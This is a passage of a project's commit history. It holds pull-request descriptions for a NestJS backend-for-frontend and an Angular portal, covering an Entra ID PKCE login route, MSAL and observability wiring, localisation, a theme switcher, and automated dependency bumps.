→ `redis.ready` on startup; killing the Redis container produces `redis.close` / `redis.reconnecting` lines. ## What this PR explicitly does NOT do - Mount `express-session` + `connect-redis` middleware. The next PR wires the session cookie (`__Host-portal_session`), the encrypted payload, and the lookup middleware that attaches `user` to every request. - Plug the callback into session creation. Auth still ends with a Pino log + redirect; the SPA still sees the user anonymous on the next request. - Sentinel / TLS configuration. Future-var keys are documented in `.env.example` for when the prod deploy lands. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #109 |
||
|
|
0eb404d111 |
feat(portal-bff): /auth/login route — pkce flow start + signed cookie (#105)
## Summary
Third step of ADR-0009 wiring. Adds the first OIDC route, `GET /api/auth/login`: it 302s the browser to Entra's authorize endpoint with a freshly-generated state + PKCE challenge, and stashes the matching `{state, codeVerifier}` payload in a short-lived signed cookie so the next-PR callback can verify the round-trip.
## What lands
- **Cookie infra**: `cookie-parser` + `@types/express` deps; `main.ts` mounts the cookie middleware with the `SESSION_SECRET` signing key. Signed cookies are now available via `req.signedCookies` for the upcoming callback.
- **[`.env.example`](apps/portal-bff/.env.example)** promotes `SESSION_SECRET` from a future-vars comment into an active section, with a one-liner showing how to generate 32 random bytes.
- **[`check-session-secret.ts`](apps/portal-bff/src/config/check-session-secret.ts)** — boot-time guard: refuses to start if `SESSION_SECRET` is unset, still the .env.example placeholder, or decodes below 32 bytes of entropy. Same family as `check-database-url` / `check-entra-config`.
- **[`auth.service.ts`](apps/portal-bff/src/auth/auth.service.ts)** — `beginAuthCodeFlow()` uses MSAL's `CryptoProvider` for canonical PKCE verifier / challenge generation and a fresh GUID state per call, calls `msal.getAuthCodeUrl()` with the configured redirect URI + OIDC scopes (`openid profile email` — no `offline_access` in v1), and returns `{ authUrl, preAuthPayload }`.
- **[`auth.cookie.ts`](apps/portal-bff/src/auth/auth.cookie.ts)** — `portal_pre_auth` name, 5-minute TTL, shared `CookieOptions`: `signed`, `httpOnly`, `sameSite: 'lax'` (lets Entra's cross-site top-level redirect back through), `secure` toggled by `NODE_ENV`.
- **[`auth.controller.ts`](apps/portal-bff/src/auth/auth.controller.ts)** — `@Controller('auth') @Get('login')`: writes the cookie then 302s. Thin shell around the service.
- **AuthModule** registers the new controller + service alongside the existing `ENTRA_CONFIG` and `MSAL_CLIENT` providers.
## Decisions worth flagging
- **Scope deliberately stops before the callback.** It's the next PR. Clicking `/auth/login` today round-trips through Entra and lands on a 404 — bounded mid-state, documented in the commit and here.
- **State + verifier in the cookie, not in Redis.** Keeps `/login` stateless (no server-side store), which means the BFF stays horizontally scalable from day one without sticky-session config. The next-PR callback reads `req.signedCookies` to recover the payload.
- **`portal_pre_auth`, not `__Host-portal_pre_auth`.** `__Host-` mandates `Secure`, and local dev is HTTP. The prefix + `Secure: true` lands together with the production TLS hardening ADR.
- **No `offline_access` scope.** Sessions are short-lived (per ADR-0010); the user re-authenticates through Entra rather than the BFF refreshing tokens behind their back. Smaller token footprint, less code to write, easier to reason about.
- **5-minute cookie TTL.** Enough for the Entra round-trip (including a fresh MFA prompt), short enough that a stale cookie can't be replayed long after the user abandoned the flow.
## Verification
- `nx run-many -t lint test build --projects=portal-bff` — green.
- **39 / 39 specs** (was 30; +9 across `check-session-secret`, `auth.service`, `auth.controller`).
- The service spec mocks `getAuthCodeUrl`, asserts the redirect URI / scopes / S256 method, the state-verifier identity between the cookie payload and what's sent to Entra, and fresh-per-call replay protection.
- The controller spec asserts the cookie name + options + serialized payload and the 302 redirect.
## Manual smoke test (next PR completes the loop)
1. `apps/portal-bff/.env` has real `ENTRA_*` + `SESSION_SECRET`.
2. `nx serve portal-bff`.
3. `curl -i http://localhost:3000/api/auth/login` → 302 with `Set-Cookie: portal_pre_auth=…; HttpOnly; SameSite=Lax; Path=/`, `Location: https://login.microsoftonline.com/<tenant>/oauth2/v2.0/authorize?...`.
4. Open the `Location` in a browser, authenticate, Entra redirects to `http://localhost:3000/api/auth/callback?code=…&state=…` → 404 today, will be the next PR.
## Next PR on the auth track
`GET /api/auth/callback` — reads the signed cookie, verifies `state` matches, calls `acquireTokenByCode` with the stored verifier, validates the ID token (issuer, audience, exp, nonce, `amr` per ADR-0011), clears the pre-auth cookie, logs the resolved user identity, redirects to `/` (SPA). Still no session — that's the PR after.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #105
|
||
|
|
b7093d61de |
feat(portal-bff): msal confidential client provider in AuthModule (#104)
Second step of ADR-0009 wiring. AuthModule now exposes the `@azure/msal-node` confidential client alongside the parsed Entra config — the building block the upcoming OIDC routes inject to issue the auth-code URL, exchange the callback code for tokens, and acquire downstream tokens on behalf of the user. What lands: - `@azure/msal-node` added as a direct dependency (^5.2.1). - `apps/portal-bff/src/auth/msal-client.token.ts` — `MSAL_CLIENT` string token + `ConfidentialClientApplication` type re-export. Mirrors the `ENTRA_CONFIG` token shape from PR #102. - AuthModule grows a factory provider for `MSAL_CLIENT`: - Injects `ENTRA_CONFIG` + nestjs-pino `Logger`. - Builds a `ConfidentialClientApplication` with `clientId`, `authority`, `clientSecret` from the parsed config. - Wires `system.loggerOptions.loggerCallback` to forward MSAL's internal log lines into the Pino stream (per ADR-0012) — Error → logger.error, Warning → logger.warn, Verbose / Trace → logger.debug, Info → logger.log. PII logging is disabled by default so tokens / user identifiers never leak into our structured log records. - Sets MSAL's `logLevel` to Info — Pino's own threshold re-filters from there. - All MSAL log lines carry the `msal` Pino context for easy isolation in log queries. - `AuthModule.exports` extended to include `MSAL_CLIENT`. Verification: - `nx run-many -t lint test build --projects=portal-bff` — green. - 30/30 specs (was 29; +1 covering MSAL client construction). - New spec imports `nestjs-pino`'s `LoggerModule.forRoot({ pinoHttp: { level: 'silent' } })` to provide the same Logger the production app supplies via `ObservabilityModule`, without flooding test stdout. Two tests assert the provider tree resolves correctly (ENTRA_CONFIG + MSAL_CLIENT) and one re-checks the missing-env failure mode still propagates through the new factory. Construction is cheap — MSAL Node defers authority discovery to the first auth call — so the client is built eagerly at module init. The factory is injection-only; no MSAL methods get invoked yet. Routes land in the next PR. <!-- PR title format — becomes the squash-merge subject on main, validated by commitlint. <type>(<scope>): <short description> Examples: feat(portal-shell): add user-preferences panel skeleton fix(portal-bff): correct env var bracket access docs(decisions): add ADR-0018 for security baseline chore(deps): bump @nx/* to 22.7.2 Imperative mood, lowercase, no trailing period, target ≤ 70 chars. See docs/development.md §5 for the full convention (types, scopes). --> ## Summary ## Motivation ## Implementation notes ## Verification - [ ] `pnpm ci:check` green locally - [ ] `pnpm ci:audit` green (or pre-existing drift acknowledged) - [ ] Tested manually: - [ ] Architecture diagram updated (if `docs/architecture.md` was affected) - [ ] ADR amended or added (if a decision changed) ## Related --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #104 |
||
|
|
abd651b697 |
chore(deps): update dependency @types/node to v24.12.4 (#103)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | patch | [`24.12.3` -> `24.12.4`](https://renovatebot.com/diffs/npm/@types%2fnode/24.12.3/24.12.4) | --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #103 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
29d16c7527 |
feat(portal-shell): wire @angular/localize plumbing per ADR-0019 (#91)
## Summary
First implementation step of ADR-0019. Wire the `@angular/localize` plumbing into `portal-shell` so the next sweep PR can start marking UI strings without any infrastructure work.
## What changes
- **Promote `@angular/localize` to a direct dependency** (it was already a transitive via the Angular metapackage; promoting it makes the `init` polyfill explicitly resolvable from the project).
- **Configure the `i18n` block** in [`apps/portal-shell/project.json`](apps/portal-shell/project.json):
- `sourceLocale: { code: "en", baseHref: "/en/" }` — matches the project English-only rule.
- `locales.fr: { translation: "...messages.fr.xlf", baseHref: "/fr/" }` — single target locale for now.
- **Add the `init` polyfill** to the build target (`"polyfills": ["@angular/localize/init"]`).
- **Add an `extract-i18n` Nx target** that wraps Angular's `@angular/build:extract-i18n` executor and drops the source XLF next to the translation files.
- **Enable `--localize` on the production build** — `nx build portal-shell --configuration=production` now emits two folders side by side: `dist/apps/portal-shell/browser/en/` and `.../fr/`. Each carries its own `<html lang>` and `<base href>` per the ADR.
- **Seed an empty `messages.fr.xlf`** (XLIFF 1.2 skeleton with sourceLanguage="en" / targetLanguage="fr" and an inline editor convention note). The sweep PR drops `<trans-unit>` entries directly into the body block.
## Verification
```
dist/apps/portal-shell/browser/
├── en/
│ └── index.html ← <html lang="en">, <base href="/en/">
└── fr/
└── index.html ← <html lang="fr">, <base href="/fr/">
```
Until the sweep PR marks strings, both bundles ship the same English source text — that's expected and matches what the ADR calls out ("the FR bundle falls back to source text for every untranslated key").
## What this PR explicitly does NOT do
- **Mark UI strings.** Every `i18n` attribute / `$localize` call lands in the next PR. Pure infra commit here.
- **Locale switcher in the footer** + `__Host-portal_locale` cookie + smart `/` redirect. Lands once switching shows a meaningful difference.
- **Collapse `/accessibility` + `/accessibilite` into a single localised route.** Depends on marked text + localized route paths — sweep PR territory.
- **CI gate** that fails the build on missing translations. Lands when there are translations to be missing.
## Test plan
- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (36 / 36 specs unchanged).
- [x] `pnpm exec nx build portal-shell --configuration=production` — produces both locale folders with correct `<html lang>` and `<base href>`.
- [x] `pnpm exec nx run portal-shell:extract-i18n` — runs cleanly, reports `(Messages: 0)` as expected.
- [x] Production initial bundle: **123 kB gzip per locale** (vs 121 kB on `main`; +1.5 kB for the `@angular/localize` runtime polyfill). Both stay well under the 300 KB budget.
- [ ] Manual: `pnpm exec nx serve portal-shell` runs unchanged (source locale `en`, no `--localize` in dev for now).
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #91
|
||
|
|
0ae7e0e23d |
feat(portal-shell): light / dark / auto theme switcher (#86)
## Summary
- Add a header dropdown letting users pick **light**, **dark**, or **auto** (follow the OS) color schemes. Choice persists in `localStorage`, applies on next reload, and reacts live to OS theme changes when in `auto`.
- Built on `@angular/cdk/menu` for accessible roving focus, escape-to-close, and proper `menuitemradio` semantics on the three options.
- Apply `dark:` variants across the shell (header, sidebar, main bg) and the existing two pages. No semantic-token refactor yet — that belongs in a future ADR (`--color-surface-1`, `--color-text-1`, …).
## Architecture
- [`LayoutStateService`](apps/portal-shell/src/app/state/layout-state.service.ts) grows a `themeMode: signal<'light'|'dark'|'auto'>` alongside the existing `sidebarCollapsed`, plus an `effectiveTheme` computed that resolves `auto` against the system preference. A side-effect toggles the `.dark` class on `<html>`, so every `dark:` Tailwind utility flips at once.
- Tailwind v4 dark mode is rewired to **class-based** via `@custom-variant dark (&:where(.dark, .dark *));` in `styles.css`. This overrides the v4 default (`prefers-color-scheme` only) so the user's explicit override wins over the OS preference.
- The switcher trigger reflects the **selected** mode (sun / moon / monitor), not the effective theme — so users can tell which mode they're in even when `auto` happens to resolve to the same scheme as a manual pick.
## Side-edits in the same PR (already validated in the chat)
- **Logo asset.** Replace `apf-small.svg` (94 kB — a base64-PNG wrapped in SVG markup, not actually vector) with `apf-small.png` (144×144, 7.6 kB after `sharp --kernel lanczos3 --compressionLevel 9`). Header swaps to the PNG. The wide vector `apf-portal.svg` stays around for future surfaces that want the horizontal lockup.
- **Revert FR strings** that crept into the header template — project rule (CLAUDE.md) is English-only for source artefacts; FR localisation will happen properly via `@angular/localize` (separate ADR).
## Decisions worth flagging
- **Dropdown over segmented control.** The CDK Menu pays its weight: accessible by default (proper `aria-haspopup`, focus management, ESC handling, click-outside dismissal), reusable for future header menus (user, language, notifications), and one tidy primitive rather than three competing buttons.
- **`auto` is the default,** not `light`. Most users have an OS-level preference already; respecting it is the least surprising baseline.
- **`<html>.dark` class lives at the root,** not on `<app-root>`. That's the Tailwind convention and it means CDK overlay popups (the menu itself, future dialogs) inherit the right theme without extra wiring.
- **Bundle delta +21 kB gzip** (100 → 121 kB initial). All of it is `@angular/cdk/{menu,overlay,a11y}` and the dark CSS rules. We stay well under the 300 kB budget. The CDK is already on the architecture menu (ADR-0016 — *UI stack: Angular CDK + TailwindCSS*) so this is on-strategy spend.
- **No semantic tokens yet.** The dark variants use raw Tailwind gray ramps (`dark:bg-gray-900`, etc.) instead of a `--color-surface-1` / `--color-text-1` token layer. That keeps the change tractable for now; promotion to semantic tokens deserves its own ADR with the design team in the loop.
## Accessibility (ADR-0016)
- Menu trigger has `aria-haspopup="menu"`, `aria-label` announcing the current mode + "(open menu)".
- Menu uses `role="menu"`, items use `role="menuitemradio"` with `aria-checked` — assistive tech announces the selection state correctly.
- All interactive controls keep the 44×44 px touch target.
- `prefers-reduced-motion: reduce` already covered by the sidebar transitions; theme switcher has no animations of its own.
- Contrast: dark surfaces are gray-900 + gray-800 border / gray-100 text — passes WCAG AA. Brand primary shifted to the `300` step in dark mode so the active states keep contrast against gray-900.
## What this PR explicitly does NOT do
- Tokenise the palette into semantic surface / text / border roles (next iteration, ADR-led).
- Localise UI strings (separate `@angular/localize` ADR + PR).
- Animate the theme transition (FOIT-style flicker on toggle is acceptable in v1; we can soften later with a `color-scheme` CSS transition if it bothers users).
## Test plan
- [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (**33 / 33 specs**, +8 for the theme work).
- [x] Production build: **121 kB gzip initial** (was 100 kB). Under the 300 kB budget.
- [ ] Manual: toggle each of the three modes → header / sidebar / main / cards switch surface colors instantly; trigger glyph updates.
- [ ] Manual: pick `auto`, change OS theme → UI follows live (Chrome DevTools → Rendering → "Emulate CSS media feature prefers-color-scheme").
- [ ] Manual: reload after each pick → the chosen mode is restored.
- [ ] Manual: keyboard the trigger → ENTER opens menu, arrow keys navigate, ENTER selects, ESC closes; focus returns to the trigger on close.
- [ ] Manual: Lighthouse accessibility on `/` in dark mode — score unchanged from light mode.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #86
|
||
|
|
3371fbd613 |
feat(portal-shell): app-shell layout with collapsable sidebar (#83)
## Summary - Replace the flat header+main+footer layout with a real app-shell: fixed header on top, collapsable sidebar + scrollable main below. Sidebar state (collapsed / expanded) persists across reloads via `localStorage`. - Introduce the APF brand palette as Tailwind v4 `@theme` tokens (primary teal `#12546c`, accent orange `#f7a919`) so every utility (`bg-brand-primary-500`, `text-brand-accent-400`, `ring-brand-primary-200`, …) is available from now on. - Add an `<app-icon>` façade backed by `lucide-angular` for v1. Logical kebab-case names already match the icomoon-sprite convention, so the future migration is a single-file change in `icon.ts` and consumers stay untouched. - Migrate the accessibility-statement links from the (now-deleted) footer to the bottom of the sidebar. ## Decisions worth flagging - **Static menu, permission-shaped data.** Items point to `#` placeholders in v1, except *Dashboard* which is `routerLink="/"` so the active-state styling is visible on the home page. The `MenuItem` shape already carries an optional `requiredPermissions: string[]` so the permission-aware filter (PR 2, alongside ADR-0009 auth) plugs in without restructuring. - **`<app-icon>` over direct lucide imports.** Consumers write `<app-icon name="bell">` rather than importing the lucide pascal-case symbol. When the icomoon sprite lands, only the registry in `icon.ts` changes — templates do not. - **Sidebar persistence via `localStorage`, not backend.** Zero round-trip, survives reloads, falls back gracefully when storage is blocked (private mode). Eventually mirrored server-side if the user-preferences feature lands. - **Footer removed entirely.** With the sidebar carrying the FR + EN accessibility-statement links and the role badge, the bottom rail no longer earned its vertical real estate. The version badge moved out for now; it will return as part of a debug/help menu when there's a real release to surface. ## Accessibility (ADR-0016) - Skip-link preserved (WCAG 2.4.1 *Bypass Blocks*) and restyled in the brand palette. - Sidebar exposes named landmarks (`<nav aria-label="Sections">`, `<nav aria-label="Accessibility">`) and the collapse button uses `aria-expanded` + a descriptive `aria-label`. - Active links carry `ariaCurrentWhenActive="page"`. - All interactive controls (header action buttons, sidebar links/toggle) meet the 44×44 px minimum hit-target. - Sidebar width transition is skipped under `prefers-reduced-motion: reduce`. - Lucide SVGs are marked `aria-hidden` (decorative); accessible names live on the parent control. ## Perf (ADR-0017) - Production build: **100 kB gzip** initial transfer (budget: 300 kB). Lucide imports are tree-shaken — only the ~18 icons actually used ship. ## What this PR explicitly does NOT do - Wire icon-set migration to icomoon (kept as a deferred swap behind `<app-icon>`). - Filter the menu by permission (deferred to PR 2 once the auth flow lands). - Replace the avatar placeholder with a real user menu (waits on ADR-0009). - Implement the search input behavior (placeholder only; needs a search backend). ## Test plan - [x] `pnpm exec nx run-many -t lint test build --projects=portal-shell` — green (19 / 19 specs). - [x] Production build under bundle budgets (100 kB gzip initial). - [ ] Manual: load `/`, confirm Dashboard appears active in the sidebar, collapse → reload → still collapsed, focus the address bar then Tab → skip-link visible, keyboard-traverse the sidebar. - [ ] Manual: `prefers-reduced-motion: reduce` → no width animation when toggling. - [ ] Manual: zoom to 200 % → no horizontal scroll, header search hides at narrow widths (`md:` breakpoint). --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #83 |
||
|
|
8f2cd4e068 |
feat(portal-shell): wire spa-side opentelemetry tracing (#72)
## Summary Phase 2 of ADR-0012 — closes the loop SPA → BFF → DB. After this PR, a single user action (initial page load, click, form submit) produces one trace whose root span is owned by the SPA and whose child spans cover the BFF request, Postgres queries through Prisma, and (eventually) Redis / downstream-API hops. ## What lands **Browser-side OTel libs** (production deps): - `@opentelemetry/sdk-trace-web` — browser tracer + provider - `@opentelemetry/exporter-trace-otlp-http` — OTLP/HTTP+JSON exporter - `@opentelemetry/instrumentation` — auto-instrumentation runtime - `@opentelemetry/instrumentation-fetch` — `fetch` + W3C `traceparent` propagation - `@opentelemetry/instrumentation-document-load` — initial-paint timings - `@opentelemetry/instrumentation-user-interaction` — click / keypress / submit No `@opentelemetry/context-zone`: the workspace is zoneless per ADR-0004; the default `StackContextManager` covers the auto-instrumented paths. Custom spans across `await` will need explicit `context.with(...)` plumbing — fine, encountered as code lands. **Code**: - [`apps/portal-shell/src/observability/tracing.ts`](apps/portal-shell/src/observability/tracing.ts) — `WebTracerProvider` bootstrap. Documents the load-order constraint inline (same pattern as the BFF: must be the very first import of `main.ts`, otherwise auto-instrumentations miss everything imported above). - `apps/portal-shell/src/main.ts` now imports the tracing module as line 1. **CORS plumbing** for end-to-end trace propagation: - BFF (`apps/portal-bff/src/main.ts`) calls `enableCors` with a minimal dev allowlist (`http://localhost:4200`) and explicit permission for the W3C `traceparent` / `tracestate` headers. The full security-grade CORS (per-environment allowlists, helmet, cookie-session, CSRF) belongs to the future phase-2 security ADR — this PR adds the strict minimum for the SPA→BFF trace context to survive cross-origin pre-flight. - OTel Collector (`infra/local/otel-collector.yaml`) gains a `cors` block on its OTLP/HTTP receiver so the browser's own OTLP POST clears its pre-flight. **ADR-0012 §Confirmation** rewritten: a new "Wired in the SPA foundation PR (phase 2)" block enumerates what landed here; the carry-over "Wired as features land" list drops the SPA-side SDK item and adds a follow-up note about the security-grade CORS. ## Verification ```bash pnpm exec nx run-many -t lint test build # 8 projects green pnpm audit # 0 vulns ./infra/local/dev.sh up observability # bring up Collector + Jaeger ./infra/local/dev.sh # (separately, BFF stack — your choice) pnpm nx serve portal-bff # localhost:3000 pnpm nx serve portal-shell # localhost:4200 ``` Open http://localhost:4200 → a `document_load` trace appears in http://localhost:16686 with `service.name=portal-shell`. From DevTools, run `fetch('http://localhost:3000/api/health').then(r => r.json())` → a fetch span appears with a child BFF span on the same trace. ## Test plan - [ ] CI green on this PR. - [ ] After local up, `document_load` span visible in Jaeger UI for the SPA. - [ ] Cross-origin fetch from SPA carries `traceparent` (visible in Network tab) and produces a single end-to-end trace SPA → BFF in Jaeger. - [ ] DevTools console shows no CORS warnings about `traceparent`, `tracestate`, or the `localhost:4318/v1/traces` POST. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #72 |
||
|
|
b74d3f1b9b |
feat(portal-bff): observability foundations (Pino + CLS + OTel) (#70)
## Summary
Implements ADR-0012 phase 1, BFF side. The SPA wiring is a separate phase-2 PR.
The BFF now emits structured JSON logs to stdout, tagged with `trace_id` / `span_id` from the active OTel context, and exports OTLP traces over HTTP/Protobuf to the Collector that already runs in the local-dev compose. Anything Nest, Express, HTTP-out, Prisma (Postgres) or `ioredis` does is auto-spanned. A `GET /api/health` liveness endpoint is added to round things out.
## What lands
**Runtime libs added** (production deps):
- `nestjs-pino`, `pino`, `pino-http` — structured logging
- `nestjs-cls` — request-scoped context
- `@opentelemetry/api` / `sdk-node` / `resources` / `semantic-conventions`
- `@opentelemetry/exporter-trace-otlp-proto` (HTTP/Protobuf, port 4318)
- `@opentelemetry/instrumentation-{http,express,nestjs-core,pg,ioredis,pino}` — curated, **no** `auto-instrumentations-node` mass-import (anti-bricolage)
Dev: `pino-pretty` (gated by `NODE_ENV`).
**Code:**
- `apps/portal-bff/src/observability/tracing.ts` — OTel `NodeSDK` bootstrap. Documents the load-order constraint inline (must be the very first import of `main.ts`). Pure side-effect module.
- `apps/portal-bff/src/observability/observability.module.ts` — composes `ClsModule` (UUID per request stored as `request_id`) and `LoggerModule` (`pino-pretty` in dev, raw JSON in prod, `LOG_LEVEL` env-driven, `/health` excluded from auto-logging, `X-Request-Id` honoured if inbound).
- `apps/portal-bff/src/health/{health.controller,health.module,health.controller.spec}.ts` — `GET /api/health` returning `{status, uptimeSeconds, service, version}`. Cheap liveness only — `/readiness` lands when dependencies have a readiness story.
- `apps/portal-bff/src/config/check-database-url.{ts,spec.ts}` — fail-fast validator called from `main.ts` before NestFactory boots. Catches the same family of bug that bit pgweb in #63: a literal special character in `POSTGRES_PASSWORD` that needs URL-encoding in `DATABASE_URL`. Prisma requires a URL string (no discrete-flag escape hatch), so early validation + a clear error message is the v1 mitigation. Six unit tests cover happy path, missing URL, wrong scheme, encoded special chars, literal `@` in password, malformed URL.
**Wiring:**
- `main.ts` imports `./observability/tracing` as line 1, then uses `app.get(Logger)` from `nestjs-pino` with `bufferLogs: true` so early-bootstrap lines are not lost.
- `app.module.ts` imports `ObservabilityModule` first, then `PrismaModule`, then `HealthModule`.
- `apps/portal-bff/.env.example` promotes `LOG_LEVEL`, `OTEL_SERVICE_NAME`, `OTEL_SERVICE_VERSION`, `OTEL_EXPORTER_OTLP_ENDPOINT`, `OTEL_EXPORTER_OTLP_PROTOCOL`, `OTEL_TRACES_SAMPLER` from the "future" comment to active settings — defaults target the local-dev Collector.
- Both `apps/portal-bff/.env.example` and `infra/local/.env.example` now spell out the URL-encoding constraint on `POSTGRES_PASSWORD` with the char-by-char encoding table (`@` → `%40`, etc.).
**ADR-0012 §Confirmation** rewritten to distinguish what landed in this PR from what is wired as the corresponding feature ADRs ship (CLS keys for `session_id` / `user_id_hash` / `audience`, `LOG_USER_ID_SALT` enforcement, redact list, custom spans, SPA-side SDK, full integration tests, prod Collector config).
## Trace ↔ log correlation
Automatic via `@opentelemetry/instrumentation-pino` — every Pino record gets `trace_id` and `span_id` injected from the active OTel context. No CLS gymnastics needed for that concern.
## Verification
```bash
pnpm exec nx run-many -t lint test build # 8 projects green
pnpm audit --audit-level=moderate # 0 vulnerabilities
./infra/local/dev.sh up observability # start Collector + Jaeger
cp apps/portal-bff/.env.example apps/portal-bff/.env
pnpm nx serve portal-bff
curl http://localhost:3000/api/health
# → {"status":"ok","uptimeSeconds":N,"service":"portal-bff","version":"dev"}
```
Then hit `GET http://localhost:3000/api` once or twice and open http://localhost:16686 — the corresponding spans appear in Jaeger, and Pino logs on stdout carry the matching `trace_id`.
## Test plan
- [ ] `nx run-many -t lint test build` green on this PR's CI run.
- [ ] `pnpm audit` clean.
- [ ] BFF boots, `/api/health` returns the expected JSON.
- [ ] Pino logs in dev are colourised one-liners; in prod they would be raw JSON (toggled by `NODE_ENV=production`).
- [ ] With the local-dev stack's `--profile observability` active, traces are visible in Jaeger UI.
- [ ] Each Pino log line for a request carries the same `trace_id` as the trace span in Jaeger.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #70
|
||
|
|
80e35c6aab |
chore(deps): update dependency lint-staged to v17.0.4 (#69)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | patch | [`17.0.3` -> `17.0.4`](https://renovatebot.com/diffs/npm/lint-staged/17.0.3/17.0.4) | --- ### Release Notes <details> <summary>lint-staged/lint-staged (lint-staged)</summary> ### [`v17.0.4`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1704) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.3...v17.0.4) ##### Patch Changes - [#​1788](https://github.com/lint-staged/lint-staged/pull/1788) [`f95c1f8`](https://github.com/lint-staged/lint-staged/commit/f95c1f8df3368758c44c2052e568aac1b3d4c767) - Another fix for making sure *lint-staged* adds task modifications correctly to the commit in the following cases: - after editing `<file>` it is staged with `git add <file>`, and then committed with `git commit` - after editing `<file>` it is committed with `git commit --all` without explicit `git add` - after editing `<file>` it is committed with `git commit <pathspec>` without explicit `git add` There's new test cases which actually setup the Git `pre_commit` hook to run *lint-staged* and verify them. These issues started in **v17.0.0** when trying to improve support for committig without having explicitly staged files. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #69 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
b2d7fe3fd7 |
chore(deps): update dependency jest to v30.4.2 (#65)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jest](https://jestjs.io/) ([source](https://github.com/jestjs/jest/tree/HEAD/packages/jest)) | devDependencies | patch | [`30.4.1` -> `30.4.2`](https://renovatebot.com/diffs/npm/jest/30.4.1/30.4.2) | --- ### Release Notes <details> <summary>jestjs/jest (jest)</summary> ### [`v30.4.2`](https://github.com/jestjs/jest/blob/HEAD/CHANGELOG.md#3042) [Compare Source](https://github.com/jestjs/jest/compare/v30.4.1...v30.4.2) ##### Fixes - `[jest-runtime]` Fix named imports from CJS modules whose `module.exports` is a function with own-property exports ([#​16150](https://github.com/jestjs/jest/pull/16150)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #65 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
3fbb1f92a8 |
chore(deps): update tailwind css to v4.3.0 (#66)
